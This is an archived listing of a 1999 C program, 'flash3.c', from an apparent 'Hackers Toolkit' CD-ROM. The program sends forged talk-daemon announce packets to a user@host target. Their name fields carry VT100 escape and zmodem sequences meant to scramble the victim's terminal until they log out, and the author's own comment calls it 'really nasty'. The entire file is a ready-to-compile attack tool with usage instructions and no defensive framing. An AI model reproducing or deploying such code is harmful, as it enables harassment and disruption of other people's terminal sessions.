home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / flash3.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-11-04  |  4.9 KB  |  206 lines

  1.  
  2. /* flash.c */
  3.  
  4. /* This little program is intended to quickly mess up a user's
  5.    terminal by issuing a talk request to that person and sending
  6.    vt100 escape characters that force the user to logout or kill
  7.    his/her xterm in order to regain a sane view of the text.
  8.    It the user's message mode is set to off (mesg n) he/she will
  9.    be unharmed. 
  10.    This program is really nasty :-)
  11.  
  12.    Usage: flash user@host
  13.  
  14.    try compiling with: gcc -o flash flash.c
  15. */
  16.  
  17.  
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <netdb.h>
  22. #include <stdio.h>
  23. #include <strings.h>
  24.  
  25. /* this should really be in an include file..  */
  26.  
  27. #define OLD_NAME_SIZE 9
  28. #define NAME_SIZE    12
  29. #define TTY_SIZE     16 
  30. typedef struct {
  31.     char    type;
  32.     char    l_name[OLD_NAME_SIZE];
  33.     char    r_name[OLD_NAME_SIZE];
  34.     char    filler;
  35.     u_long  id_num;
  36.     u_long  pid;
  37.     char    r_tty[TTY_SIZE];
  38.     struct  sockaddr_in addr;
  39.     struct  sockaddr_in ctl_addr;
  40. } OLD_MSG;
  41.  
  42. typedef struct {
  43.     u_char  vers;
  44.     char    type;
  45.     u_short filler;
  46.     u_long  id_num;
  47.     struct  sockaddr_in addr;
  48.     struct  sockaddr_in ctl_addr;
  49.     long    pid;
  50.     char    l_name[NAME_SIZE];
  51.     char    r_name[NAME_SIZE];
  52.     char    r_tty[TTY_SIZE];
  53. } CTL_MSG;
  54.  
  55. #define TALK_VERSION    1               /* protocol version */
  56.  
  57. /* Types */
  58. #define LEAVE_INVITE    0
  59. #define LOOK_UP         1
  60. #define DELETE          2
  61. #define ANNOUNCE        3
  62.  
  63. int     current = 1;    /* current id..  this to avoid duplications */
  64.  
  65. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  66. {
  67. static  struct sockaddr    addr;
  68. struct  sockaddr_in *address;
  69. struct  hostent     *host;
  70.  
  71. address = (struct sockaddr_in *)&addr;
  72. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  73. /* fill in the easy fields */
  74. address->sin_family = AF_INET;
  75. address->sin_port = htons(port);
  76. /* first, check if the address is an ip address */
  77. address->sin_addr.s_addr = inet_addr(hostname);
  78. if ( (int)address->sin_addr.s_addr == -1)
  79.     {
  80.     /* it wasn't.. so we try it as a long host name */
  81.     host = gethostbyname(hostname);
  82.     if (host)
  83.         {
  84.         /* wow.  It's a host name.. set the fields */
  85.         /* ?? address->sin_family = host->h_addrtype; */
  86.         bcopy( host->h_addr, (char *)&address->sin_addr,
  87.             host->h_length);
  88.         }
  89.     else
  90.         {
  91.         /* oops.. can't find it.. */
  92.         puts("Couldn't find address"); 
  93.         exit(-1);
  94.         return (struct sockaddr_in *)0;
  95.         }
  96.     }
  97. /* all done. */
  98. return (struct sockaddr_in *)address;
  99. }
  100.  
  101. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  102. {
  103. int     s;
  104. struct sockaddr sample; /* not used.. only to get the size */
  105.  
  106. s = socket(AF_INET, SOCK_DGRAM, 0);
  107. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  108.  
  109.  
  110. new_ANNOUNCE(char *hostname, char *remote, char *local)
  111. {
  112. CTL_MSG  packet; 
  113. struct   sockaddr_in  *address;
  114.  
  115. /* create a packet */
  116. address = getinaddr(hostname, 666 );  
  117. address->sin_family = htons(AF_INET); 
  118.  
  119. bzero( (char *)&packet, sizeof(packet) );
  120. packet.vers   = TALK_VERSION; 
  121. packet.type   = ANNOUNCE;   
  122. packet.pid    = getpid();
  123. packet.id_num = current;
  124. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  125. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  126. strncpy( packet.l_name, local, NAME_SIZE); 
  127. strncpy( packet.r_name, remote, NAME_SIZE); 
  128. strncpy( packet.r_tty, "", 1); 
  129.  
  130. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  131. }
  132.  
  133. old_ANNOUNCE(char *hostname, char *remote, char *local)
  134. {
  135. OLD_MSG  packet;
  136. struct   sockaddr_in  *address;
  137.  
  138. /* create a packet */
  139. address = getinaddr(hostname, 666 );
  140. address->sin_family = htons(AF_INET);
  141.  
  142. bzero( (char *)&packet, sizeof(packet) );
  143. packet.type   = ANNOUNCE;
  144. packet.pid    = getpid();
  145. packet.id_num = current;
  146. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  147. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  148. strncpy( packet.l_name, local, NAME_SIZE);
  149. strncpy( packet.r_name, remote, NAME_SIZE);
  150. strncpy( packet.r_tty, "", 1);
  151.  
  152. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  153. }
  154.  
  155. main(int argc, char *argv[])
  156. {
  157.     char    *hostname, *username; 
  158.     int     pid;
  159.  
  160.     if ( (pid = fork()) == -1)  
  161.         {
  162.         perror("fork()");
  163.         exit(-1);
  164.         }
  165.     if ( !pid )
  166.         {
  167.         exit(0);
  168.         }
  169.     if (argc < 2) { 
  170.         puts("Usage: <finger info> ");
  171.         exit(5);
  172.     }
  173.     username = argv[1]; 
  174.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  175.         {
  176.         puts("Invalid name.  ");
  177.         exit(-1);
  178.         }
  179.     *hostname = '\0'; 
  180.     hostname++; 
  181.  
  182.     if (*username == '~') 
  183.         username++; 
  184.  
  185. #define FIRST "rz\015\052\052\030B00000000000000\015"   
  186. #define SECOND "rz\015\052\052\030B00000000000000\015"  
  187. #define THIRD  "rz\015\052\052\030B00000000000000\015" 
  188. #define FOUR  "\033c\033(0\033#8" 
  189. #define FIVE   "\033[1;3r\033[J"
  190. #define SIX    "\033[5m\033[?5h"
  191.  
  192.     old_ANNOUNCE(hostname, username, FOUR );
  193.     new_ANNOUNCE(hostname, username, FIRST);
  194.     current++; 
  195.     new_ANNOUNCE(hostname, username, SECOND);
  196.     new_ANNOUNCE(hostname, username, FIVE  );
  197.     current++;
  198.     new_ANNOUNCE(hostname, username, THIRD); 
  199.     old_ANNOUNCE(hostname, username, SIX  );
  200. }
  201.  
  202.  
  203.         
  204.  
  205.